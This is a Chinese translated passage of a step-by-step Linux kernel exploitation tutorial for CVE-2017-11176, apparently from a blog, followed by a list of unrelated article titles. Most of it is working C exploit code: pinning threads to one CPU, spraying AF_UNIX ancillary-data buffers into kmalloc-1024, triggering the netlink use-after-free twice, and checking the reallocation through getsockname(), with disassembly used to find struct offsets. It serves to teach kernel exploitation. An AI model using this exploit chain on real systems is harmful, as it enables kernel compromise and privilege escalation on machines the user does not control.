在重新分配介绍中,理想的情况已经被阐述过了。然而,我们按照那条路攻击会发生什么?事情会出错。。。

WARNING:我们将不会阐述每一个kmalloc()和kfree()的过程,希望你现在已经了解了分配器。

举个例子,让我们思考netlink_sock对象即将要被被释放:

  1. 如果array_cache是满的,他会调用cache_flusharray()。这会让批处理释放指针指向每个共享array_cache(如果有的话)然后调用free_block()。即,下一个kmalloc()的最快路径不会是最近释放的对象。打破了LIFO的特性。
  2. 如果最后释放的对象是在一个partial slab,他将会被插入到slabs_free 的队列中。
  3. 如果cache早已经有了太多的释放对象,释放的slab会被破坏。(页面会被还给伙伴分配系统)
  4. 伙伴系统可能会创建一些紧凑的东西(像PCP?)然后开始睡眠。
  5. 调度器会让另一个cpu去完成你的任务。array_cache 就会是per-cpu。(per-cpu为系统中的每个处理器都分配了共享变量的副本,详细:https://blog.csdn.net/longwang155069/article/details/52033243)
  6. 系统的内存不足(不是因为你),尽量的去回内存从每一个子系统和分配器。

还有其他的执行路径可以考虑,kmalloc()也是如此。。。考虑了这么多问题,你的所要执行的工作在系统中是孤独的。但是故事不会在这里停下。

这儿有其他的任务(包括内核的)同时使用kmalloc-1024的cache。你在和他们赛跑。一场你会输的赛跑。。。

举个例子,你是释放了netlink_sock对象,但是其他的任务也释放了一个kmalloc-1024对象。即,你系那个会需要去申请两次去重新发呢配netlink_sock(LIFO)。如果其他的作业偷走了他(跑赢了你)?当然。。。你无论如何不能去重分配他直到非常相同的任务不会返回(同时希望这个任务不会被转移动到其他cpu。。。)不过,如何去察觉他?

正如你所看到的,很多事情会出错。这是exp中最关键的一步:释放netlink_sock对象后和再分配他之前。我们不能解决文章中的所有问题。这个更高级的exp,他要求更强大的内核知识。可靠的重定位是一个复杂的主题。

无论怎么样,让我们用两个基础的技巧去解决一些上述的问题:

  • 用sched_setaffinity()的syscall定位cpu。array_cache是一个per-CPU的数据结构。如果你再攻击开始前把cpu掩码设置为单个cpu,你就能确保你用的是同一个array_cachce当你释放和再分配时。
  • 堆喷射。通过再分配许多,我们有一个机会去再分配到netlink_sock对象即使其他任务也在释放kmalloc-1024对象。作为补充,如果netlink_sock的slab时被放在已释放的slab队列的最后,我们尽力去在分配所有的直到一个cache_grow()

最终出现。无论怎样,这是纯猜想(记住基础的技巧)。

请检查执行节去看看他是怎么完成的吧。

5-5 一个新希望

你被上一节吓到了?不要担心,我们现在很幸运。我们要释放的对象(struct netlink_sock)是位于kmalloc-1024。这是个令人惊讶的cache,因为没有被在内核中用的很多。为了去说服你,执行上面“method #5”的穷人方法(???),即查找对象尺寸,观察各种各样的普遍内核内存kmemcaches:

watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'

看?他根本没怎么动。现在看看 “kmalloc-256”, “kmalloc-192”, “kmalloc-64”, “kmalloc-32”。这些事坏人。。。他们只是最常见的内核对象大小。在这些cache里面利用UAF简直事地狱。当然,“kmalloc的活动”取决于你的目标和你在上面运行的方法。但是
,以前的缓冲在所有系统上都是不稳定的。

5-6 再分配执行

好了,是时候去回到我们的poc然后开始编写再分配了。

让我们解决array_cache 的问题通过把我们所有的线程迁移到cup#0:

static int migrate_to_cpu0(void)
{cpu_set_t set;CPU_ZERO(&set);CPU_SET(0, &set);if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1){perror("[-] sched_setaffinity");return -1;}return 0;
}

下一步,我们想要去检查我们可以使用辅助数据缓存的原语,让我们探究最理想的内核参数(optmem_max sysctl)的值(通过procfs进程文件系统):

static bool can_use_realloc_gadget(void)
{int fd;int ret;bool usable = false;char buf[32];if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0){perror("[-] open");// TODO: fallback to sysctl syscallreturn false; // we can't conclude, try it anyway or not ?}memset(buf, 0, sizeof(buf));if ((ret = _read(fd, buf, sizeof(buf))) <= 0){perror("[-] read");goto out;}printf("[ ] optmem_max = %s", buf);if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cacheusable = true;out:_close(fd);return usable;
}

下一步是准备控制信息缓存区。请注意g_realloc_data 是全局申明的,所以每一个线程可以访问他。设置正好的cmsg字段(就是cmsghdr结构体):
ps:cmsghdr见 https://www.cnblogs.com/huyc/archive/2011/12/05/2276827.html

#define KMALLOC_TARGET 1024static volatile char g_realloc_data[KMALLOC_TARGET];static int init_realloc_data(void)
{struct cmsghdr *first;memset((void*)g_realloc_data, 0, sizeof(g_realloc_data));// necessary to pass checks in __scm_send()first = (struct cmsghdr*) g_realloc_data;first->cmsg_len = sizeof(g_realloc_data);first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsgfirst->cmsg_type = 1; // <---- ARBITRARY VALUE// TODO: do something useful will the remaining bytes (i.e. arbitrary call)return 0;
}

因为我们将会重分配AF_UNIX(负责进程间通信)套接字,我们需要区准备他们。我们将会为了每一个再分配的线程创建一对套接字。这里,我们创造一个特殊的unix socket:abstract sockets(man 7 unix)。即他们的地址从null字节开始(’@’ in netstat)。这不是强制的,仅仅是一个偏好。发送套接字连接接收套接字然后结束,我们通过setsockopt()设置timeout 是MAX_SCHEDULE_TIMEOUT :
ps:
AF_UNIX见 https://www.cnblogs.com/shangerzhong/p/9153737.html
sockaddr_un见 https://blog.csdn.net/gladyoucame/article/details/8768731

struct realloc_thread_arg
{pthread_t tid;int recv_fd;int send_fd;struct sockaddr_un addr;    //本地进程间通信的一种套接字
};static int init_unix_sockets(struct realloc_thread_arg * rta)
{struct timeval tv;static int sock_counter = 0;if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)){perror("[-] socket");goto fail;}// bind an "abstract" socket (first byte is NULL)memset(&rta->addr, 0, sizeof(rta->addr));rta->addr.sun_family = AF_UNIX;    //sun_family只能是AF_LOCAL或AF_UNIXsprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter);if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))){perror("[-] bind");goto fail;}if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))){perror("[-] connect");goto fail;}// set the timeout value to MAX_SCHEDULE_TIMEOUTmemset(&tv, 0, sizeof(tv));if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))){perror("[-] setsockopt");goto fail;}return 0;fail:// TODO: release everythingprintf("[-] failed to initialize UNIX sockets!\n");return -1;
}

ps:sockaddr_un,见https://blog.csdn.net/gladyoucame/article/details/8768731

一旦开始,再分配线程准备通过用MSG_DONTWAIT 填充接收缓存区来阻塞发送缓冲区,然后锁定直到"big GO"(再分配)

static volatile size_t g_nb_realloc_thread_ready = 0;
static volatile size_t g_realloc_now = 0;static void* realloc_thread(void *arg)
{struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;struct msghdr mhdr;char buf[200];// initialize msghdrstruct iovec iov = {.iov_base = buf,.iov_len = sizeof(buf),};memset(&mhdr, 0, sizeof(mhdr));mhdr.msg_iov = &iov;mhdr.msg_iovlen = 1;// the thread should inherit main thread cpumask, better be sure and redo-it!if (migrate_to_cpu0())goto fail;// make it blockwhile (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0);if (errno != EAGAIN){ perror("[-] sendmsg");goto fail;}// use the arbitrary data nowiov.iov_len = 16; // don't need to allocate lots of memory in the receive queuemhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffermhdr.msg_controllen = sizeof(g_realloc_data);g_nb_realloc_thread_ready++;while (!g_realloc_now) // spinlock until the big GO!;// the next call should block while "reallocating"if (_sendmsg(rta->send_fd, &mhdr, 0) < 0){perror("[-] sendmsg");goto fail;}return NULL;fail:printf("[-] REALLOC THREAD FAILURE!!!\n");return NULL;
}

再分配线程将会通过g_realloc_now进行自旋锁,直到主线程告诉他们去开始用realloc_NOW() 再分配(让他内联化很重要,减少消耗的时间):

// keep this inlined, we can't loose any time (critical path)
static inline __attribute__((always_inline)) void realloc_NOW(void)
{g_realloc_now = 1;_sched_yield(); // don't run me, run the reallocator threads!sleep(5);
}

系统调用sched_yield()强制主线程被抢占。幸运的是,下一个预定的线程将会是我们再分配线程中的一个,由此赢得再分配比赛。

最后,main()变成:

int main(void)
{int sock_fd  = -1;int sock_fd2 = -1;int unblock_fd = 1;struct realloc_thread_arg rta[NB_REALLOC_THREADS];printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");if (migrate_to_cpu0()){printf("[-] failed to migrate to CPU#0\n");goto fail;}printf("[+] successfully migrated to CPU#0\n");memset(rta, 0, sizeof(rta));if (init_reallocation(rta, NB_REALLOC_THREADS)){printf("[-] failed to initialize reallocation!\n");goto fail;}printf("[+] reallocation ready!\n");if ((sock_fd = prepare_blocking_socket()) < 0)goto fail;printf("[+] netlink socket created = %d\n", sock_fd);if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0)){perror("[-] dup");goto fail;}printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);// trigger the bug twice AND immediatly realloc!if (decrease_sock_refcounter(sock_fd, unblock_fd) ||decrease_sock_refcounter(sock_fd2, unblock_fd)){goto fail;}realloc_NOW();printf("[ ] ready to crash?\n");PRESS_KEY();close(unblock_fd);printf("[ ] are we still alive ?\n");PRESS_KEY();// TODO: exploitreturn 0;fail:printf("[-] exploit failed!\n");PRESS_KEY();return -1;
}

你可以现在跑这个exp,但是你不会看到任何效果。我们仍然再net_release()期间crash。我们将会修复这个在下一节。

6.利用(任意调用)

“Where there is a will, there is way…”

在之前的节中,我们:
1.解释了再分配和类型混淆的基础
2.收集我们自己的UAF信息和识别悬空指针
3.明白我们可以任意的触发和控制UAF
4.实行在分配

是时候去把所有的混合在一起然后利用UAF。牢记一点:
最后的目标是去控制内核的执行流程。

申明支配内核实际的流程?像其他问题一样,指针:RIP(amd64),PC(arm)。

就像我们在核心内容中看到的一样,内核有很多VFT(虚函数表)和函数指针去实现一些泛型。重写和调用他们去控制执行流程即我们将会在这儿做什么。

6-1 The Primitive Gates(不知道怎么翻译?原始门?)

让我们回到我们的UAF原语。在一个之前的节,我们看到我们可以控制(和触发)UAF通过调用close(unblock_fd)。另外,我们看到struct socket中的sk字段时一个悬空指针。两者之间的关系时VFTs:
struct file_operations socket_file_ops:系统调用close()到sock_close()。
struct proto_ops netlink_ops:sock_close() 到 netlink_release() (大量使用sk)

这些VFT是我们的primitive gates(基本单元?):每一个简单的UAF都是从这些函数指针中的一个开始的。

无论怎样,我们不能精确的控制这些指针。原因是free的结构体是struct netlink_sock。相反,指向VFTs的指针分别存在于struct file和struct socket。我们将会利用VFT提供的原始的功能。

举个例子,让我们看一下netlink_getname()(来自netlink_ops),它可以被很直接的调用追踪访问到。

- SYSCALL_DEFINE3(getsockname, ...) // calls sock->ops->getname()
- netlink_getname()static int netlink_getname(struct socket *sock, struct sockaddr *addr,int *addr_len, int peer)
{struct sock *sk = sock->sk;                                 // <----- DANGLING POINTERstruct netlink_sock *nlk = nlk_sk(sk);                      // <----- DANGLING POINTERstruct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr;    // <----- will be transmitted to userlandnladdr->nl_family = AF_NETLINK;nladdr->nl_pad = 0;*addr_len = sizeof(*nladdr);if (peer) {                                                 // <----- set to zero by getsockname() syscallnladdr->nl_pid = nlk->dst_pid;nladdr->nl_groups = netlink_group_mask(nlk->dst_group);} else {nladdr->nl_pid = nlk->pid;                                // <----- uncontrolled read primitivenladdr->nl_groups = nlk->groups ? nlk->groups[0] : 0;     // <----- uncontrolled read primitive}return 0;
}

当然,这是一个很好的不受控制的阅读原语(两个读,没有副作用)。我们将会使用他去改善exp的可靠性为了去检查再分配成功。

6-2 再分配检查执行:

让我们开始使用先前的原语和检查是否再分配成功!我们怎么做这个?这儿是我们的计划:

  1. 找到nlk->pid和nlk->groups的偏移。
  2. 写一些特殊的值在我们的在分配数据区域。(init_realloc_data())
  3. 调用系统调用getsockname()然后检查返回值。

如果返回地址匹配我们的特殊值,那就意味着再分配起作用,我们有攻击我们的第一个UAF原语(无法控制的读)。你不是总有机会验证再分配是否有效。

为了找到nlk->pid和nlk->groups的偏移,我们首先需要去得到未压缩的二进制文件流。如果你不知道怎么去做,查看这个链接(https://blog.packagecloud.io/eng/2016/03/08/how-to-extract-and-disassmble-a-linux-kernel-image-vmlinuz/)你也应该打开“/boot/System.map-$(uname -r)”文件。如果(由于任何原因)你没有访问这个文件,你可以尝试“/proc/kallsyms”,这个会给你一些结果(需要root权限)。

好了,我们准备好去分解我们的内核了。linux内核本质上就是一个ELF二进制文件。因此你可以用优秀的二进制工具,像objdump。

为了去发现nlk->pid 和 nlk->groups的偏移当他们被使用在netlink_getname()函数上的时候。让我们拆解他!首先用System.map文件找出netlink_getname()的地址:

$ grep "netlink_getname" System.map-2.6.32
ffffffff814b6ea0 t netlink_getname

在我们的例子中,netlink_getname()函数将会被加载到地址0xffffffff814b6ea0

NOTE:我们假设KASLR没有开启。

下一步,用一个反汇编工具打开vmlinux(不是vmlinuZ),然后分析 netlink_getname()函数。

ffffffff814b6ea0:       55                      push   rbp
ffffffff814b6ea1:       48 89 e5                mov    rbp,rsp
ffffffff814b6ea4:       e8 97 3f b5 ff          call   0xffffffff8100ae40
ffffffff814b6ea9:       48 8b 47 38             mov    rax,QWORD PTR [rdi+0x38]
ffffffff814b6ead:       85 c9                   test   ecx,ecx
ffffffff814b6eaf:       66 c7 06 10 00          mov    WORD PTR [rsi],0x10
ffffffff814b6eb4:       66 c7 46 02 00 00       mov    WORD PTR [rsi+0x2],0x0
ffffffff814b6eba:       c7 02 0c 00 00 00       mov    DWORD PTR [rdx],0xc
ffffffff814b6ec0:       74 26                   je     0xffffffff814b6ee8
ffffffff814b6ec2:       8b 90 8c 02 00 00       mov    edx,DWORD PTR [rax+0x28c]
ffffffff814b6ec8:       89 56 04                mov    DWORD PTR [rsi+0x4],edx
ffffffff814b6ecb:       8b 88 90 02 00 00       mov    ecx,DWORD PTR [rax+0x290]
ffffffff814b6ed1:       31 c0                   xor    eax,eax
ffffffff814b6ed3:       85 c9                   test   ecx,ecx
ffffffff814b6ed5:       74 07                   je     0xffffffff814b6ede
ffffffff814b6ed7:       83 e9 01                sub    ecx,0x1
ffffffff814b6eda:       b0 01                   mov    al,0x1
ffffffff814b6edc:       d3 e0                   shl    eax,cl
ffffffff814b6ede:       89 46 08                mov    DWORD PTR [rsi+0x8],eax
ffffffff814b6ee1:       31 c0                   xor    eax,eax
ffffffff814b6ee3:       c9                      leave
ffffffff814b6ee4:       c3                      ret
ffffffff814b6ee5:       0f 1f 00                nop    DWORD PTR [rax]
ffffffff814b6ee8:       8b 90 88 02 00 00       mov    edx,DWORD PTR [rax+0x288]
ffffffff814b6eee:       89 56 04                mov    DWORD PTR [rsi+0x4],edx
ffffffff814b6ef1:       48 8b 90 a0 02 00 00    mov    rdx,QWORD PTR [rax+0x2a0]
ffffffff814b6ef8:       31 c0                   xor    eax,eax
ffffffff814b6efa:       48 85 d2                test   rdx,rdx
ffffffff814b6efd:       74 df                   je     0xffffffff814b6ede
ffffffff814b6eff:       8b 02                   mov    eax,DWORD PTR [rdx]
ffffffff814b6f01:       89 46 08                mov    DWORD PTR [rsi+0x8],eax
ffffffff814b6f04:       31 c0                   xor    eax,eax
ffffffff814b6f06:       c9                      leave
ffffffff814b6f07:       c3                      ret

让我们把程序集合拆分成更小块来匹配我们的原始netlink_getname()函数(注意System V ABI)。最重要的事情去记住是参数传递顺序(我们仅仅有4个参数,在这儿)。

  • rdi: struct socket *sock
  • rsi: struct sockaddr *addr
  • rdx: int *addr_len
  • rcx: int peer

让我们继续走,首先我们有开场,0xffffffff8100ae40的调用时空。(在反汇编中查看)

ffffffff814b6ea0:       55                      push   rbp
ffffffff814b6ea1:       48 89 e5                mov    rbp,rsp
ffffffff814b6ea4:       e8 97 3f b5 ff          call   0xffffffff8100ae40   // <---- NOP

下一步,我们有公共部分netlink_getname(),在ASM:

ffffffff814b6ea9:       48 8b 47 38             mov    rax,QWORD PTR [rdi+0x38] // retrieve "sk"
ffffffff814b6ead:       85 c9                   test   ecx,ecx                  // test "peer" value
ffffffff814b6eaf:       66 c7 06 10 00          mov    WORD PTR [rsi],0x10      // set "AF_NETLINK"
ffffffff814b6eb4:       66 c7 46 02 00 00       mov    WORD PTR [rsi+0x2],0x0   // set "nl_pad"
ffffffff814b6eba:       c7 02 0c 00 00 00       mov    DWORD PTR [rdx],0xc      // sizeof(*nladdr)

代码分支由peer的值决定:

ffffffff814b6ec0:       74 26                   je     0xffffffff814b6ee8 // "if (peer)"

如果peer不是0(不是我们的例子),那么这儿就都是我们可无视的代码:

ffffffff814b6ec2:       8b 90 8c 02 00 00       mov    edx,DWORD PTR [rax+0x28c]    // ignore
ffffffff814b6ec8:       89 56 04                mov    DWORD PTR [rsi+0x4],edx      // ignore
ffffffff814b6ecb:       8b 88 90 02 00 00       mov    ecx,DWORD PTR [rax+0x290]    // ignore
ffffffff814b6ed1:       31 c0                   xor    eax,eax                      // ignore
ffffffff814b6ed3:       85 c9                   test   ecx,ecx                      // ignore
ffffffff814b6ed5:       74 07                   je     0xffffffff814b6ede           // ignore
ffffffff814b6ed7:       83 e9 01                sub    ecx,0x1                      // ignore
ffffffff814b6eda:       b0 01                   mov    al,0x1                       // ignore
ffffffff814b6edc:       d3 e0                   shl    eax,cl                       // ignore
ffffffff814b6ede:       89 46 08                mov    DWORD PTR [rsi+0x8],eax      // set "nladdr->nl_groups"
ffffffff814b6ee1:       31 c0                   xor    eax,eax                      // return code == 0
ffffffff814b6ee3:       c9                      leave
ffffffff814b6ee4:       c3                      ret
ffffffff814b6ee5:       0f 1f 00                nop    DWORD PTR [rax]

剩下的小阻碍,就是下面的代码:

ffffffff814b6ee8:       8b 90 88 02 00 00       mov    edx,DWORD PTR [rax+0x288]  // retrieve "nlk->pid"
ffffffff814b6eee:       89 56 04                mov    DWORD PTR [rsi+0x4],edx    // give it to "nladdr->nl_pid"
ffffffff814b6ef1:       48 8b 90 a0 02 00 00    mov    rdx,QWORD PTR [rax+0x2a0]  // retrieve "nlk->groups"
ffffffff814b6ef8:       31 c0                   xor    eax,eax
ffffffff814b6efa:       48 85 d2                test   rdx,rdx                    // test if "nlk->groups" it not NULL
ffffffff814b6efd:       74 df                   je     0xffffffff814b6ede         // if so, set "nl_groups" to zero
ffffffff814b6eff:       8b 02                   mov    eax,DWORD PTR [rdx]        // otherwise, deref first value of "nlk->groups"
ffffffff814b6f01:       89 46 08                mov    DWORD PTR [rsi+0x8],eax    // ...and put it into "nladdr->nl_groups"
ffffffff814b6f04:       31 c0                   xor    eax,eax                    // return code == 0
ffffffff814b6f06:       c9                      leave
ffffffff814b6f07:       c3                      ret

好了,我们有所有我们需要的事了。
nlk->pid的偏移是0x288在"struct netlink_sock"
nlk->groups的偏移是0x2a0在"struct netlink_sock"

为了去检查是否再分配成功,我们将会设置pid的值为0x11a5dcee
(任意的值)和group的值为0(否则他将会被取消引用)。让我们,设置这些值在我们的任意数据数组中(g_realloc_data)。

#define MAGIC_NL_PID 0x11a5dcee
#define MAGIC_NL_GROUPS 0x0// target specific offset
#define NLK_PID_OFFSET      0x288
#define NLK_GROUPS_OFFSET   0x2a0static int init_realloc_data(void)
{struct cmsghdr *first;int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));// necessary to pass checks in __scm_send()first = (struct cmsghdr*) &g_realloc_data;first->cmsg_len = sizeof(g_realloc_data);first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsgfirst->cmsg_type = 1; // <---- ARBITRARY VALUE*pid = MAGIC_NL_PID;*groups = MAGIC_NL_GROUPS;// TODO: do something useful will the remaining bytes (i.e. arbitrary call)return 0;
}

再分配数据布局:

然后检查我们用getsockname()找回这些值。

static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups)
{struct sockaddr_nl addr;size_t addr_len = sizeof(addr);memset(&addr, 0, sizeof(addr));// this will invoke "netlink_getname()" (uncontrolled read)if (_getsockname(sock_fd, &addr, &addr_len)){perror("[-] getsockname");goto fail;}printf("[ ] addr_len = %lu\n", addr_len);printf("[ ] addr.nl_pid = %d\n", addr.nl_pid);printf("[ ] magic_pid = %d\n", magic_pid);if (addr.nl_pid != magic_pid){printf("[-] magic PID does not match!\n");goto fail;}if (addr.nl_groups != magic_groups) {printf("[-] groups pointer does not match!\n");goto fail;}return true;fail:return false;
}

最后,在main()里面调用:

int main(void)
{// ... cut ...realloc_NOW();if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS)){printf("[-] reallocation failed!\n");// TODO: retry the exploitgoto fail;}printf("[+] reallocation succeed! Have fun :-)\n");// ... cut ...
}

现在重启exp,再分配成功,你应该可以看到信息"[+] reallocation succeed! Have fun

CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)相关推荐

  1. am335x linux内核烧写_实时 Linux 抖动分析 Step by step

    本文首次发表于 实时 Linux 抖动分析 Step by step 前段时间有同学问到: 大家有显卡方面实时性调优经验交流吗?我现在是 x86,不加显示任务实时性可以保持在 20us 内,如果加上显 ...

  2. linux内核安全数据,【漏洞分析】Linux内核XFRM权限提升漏洞分析预警(CVE–2017–16939)...

    0x00 背景介绍 2017年11月24日, OSS社区披露了一个由独立安全研究员Mohamed Ghannam发现的一处存在于Linux 内核Netlink socket子系统(XFRM)的漏洞,漏 ...

  3. 【Step By Step】将Dotnet Core部署到Docker(中)

    [Step By Step]将Dotnet Core部署到Docker(中) 原文:[Step By Step]将Dotnet Core部署到Docker(中) 在Docker中运行MySql MyS ...

  4. 简单的exp全备份脚本及部署过程(step by step)

    简单的exp全备份脚本及部署过程(step by step) 源于以前同事的备份需求,现在我很少用exp,基本上是rman+standby了 需求:每天数据库exp全备份+自动删除7天前的备份,系统只 ...

  5. Microsoft SQL Server 2008 MDX Step by Step中关于MDX Step-by-Step.abf损坏文件的处理

    文章目录 背景介绍 解决方法 背景介绍 在书籍<Microsoft SQL Server 2008 MDX Step by Step>中使用书籍附带资源时,由于SQL Server的版本问 ...

  6. GoFrame Step by Step Demo - P1

    GoFrame Step by Step Demo P1 框架说明文档 GFTool 安装 Web框架学习 文章目录 GoFrame Step by Step Demo P1 参考Demo 记录 安装 ...

  7. 魔趣刷机step by step with zuk z2 pro

    关键字 卡刷, 解锁bootloader, 无需root, 魔趣, Android原生, Google Gapps全家桶, recovery刷机 前提 会使用基本的Linux命令, 工作环境中有adb ...

  8. 【Step By Step】将Dotnet Core部署到Docker上

    [Step By Step]将Dotnet Core部署到Docker上 原文: [Step By Step]将Dotnet Core部署到Docker上 本教程的前提是,你已经在Linux服务器上已 ...

  9. 【Step By Step】将Dotnet Core部署到Docker下

    一.使用.Net Core构建WebAPI并访问Docker中的Mysql数据库 这个的过程大概与我之前的文章<尝试.Net Core-使用.Net Core + Entity FrameWor ...

  10. python写一个通讯录step by step V3.0

    python写一个通讯录step by step V3.0 更新功能: 数据库进行数据存入和读取操作 字典配合函数调用实现switch功能 其他:函数.字典.模块调用 注意问题: 1.更优美的格式化输 ...

最新文章

  1. 用python操作mysql数据库(之“更新”操作)
  2. 淘宝API商家自用型应用程序全部源代码和详细的帮助文档(1元有偿提供)
  3. windows下mongodb配置
  4. react-native-sound的使用
  5. Windows7 beta1 微软官方下载
  6. Qt学习三 - 菜单栏、工具栏、状态栏
  7. 使用mysql备份工具innobackupex进行本地数据备份、恢复操作实例
  8. 服务器说你注册过多,为什么我的世界服务器说此用户名已被注册我都换了很多用户了都没用 爱问知识人...
  9. 工作资讯001---行业思维模式及经典语录随时更新
  10. hadoop环境准备-大数据Week5-DAY6-1-hadoop
  11. 7-Python3 注释
  12. paip.提升用户体验-----用户注册设计
  13. sas入门之(三)条件语句,循环语句,input语句
  14. 重启网卡报错Job for network.service failed because the control process exited with error code.
  15. Axure绘制跑马灯
  16. Phi-divergence
  17. apkrenamer_不怕应用名字乱 在手机端轻松给APK重命名
  18. 计算机中选中多个文件的快捷键,电脑操作过程中同时选定多个文件的方法
  19. Newman安装指南
  20. MaxCompute2.0助力众安保险高速成长

热门文章

  1. 百度竞价需抓住消费者心理
  2. 玉米社:百度竞价关键词“否定”与“精确否定”的区别
  3. IPv6安装及使用手册
  4. 黑马程序员2022新版python教程补充(P61)
  5. 使用linux时电脑突然蓝屏,win7系统电脑突然蓝屏的原因的原因和解决方法介绍
  6. 2018,丁磊的野心静悄悄
  7. 第五章第五题(千克与磅之间的互换)(Conversion from kilogram to pound and pound to kilogram)
  8. html去除背景颜色怎么设置,word文档背景颜色怎么去掉,文档背景颜色怎么去掉
  9. 《西游记》《封神榜》各路神仙基本层次图,不要再傻傻分不清楚了
  10. Linux中招挖矿木马如何处置,附带解决方案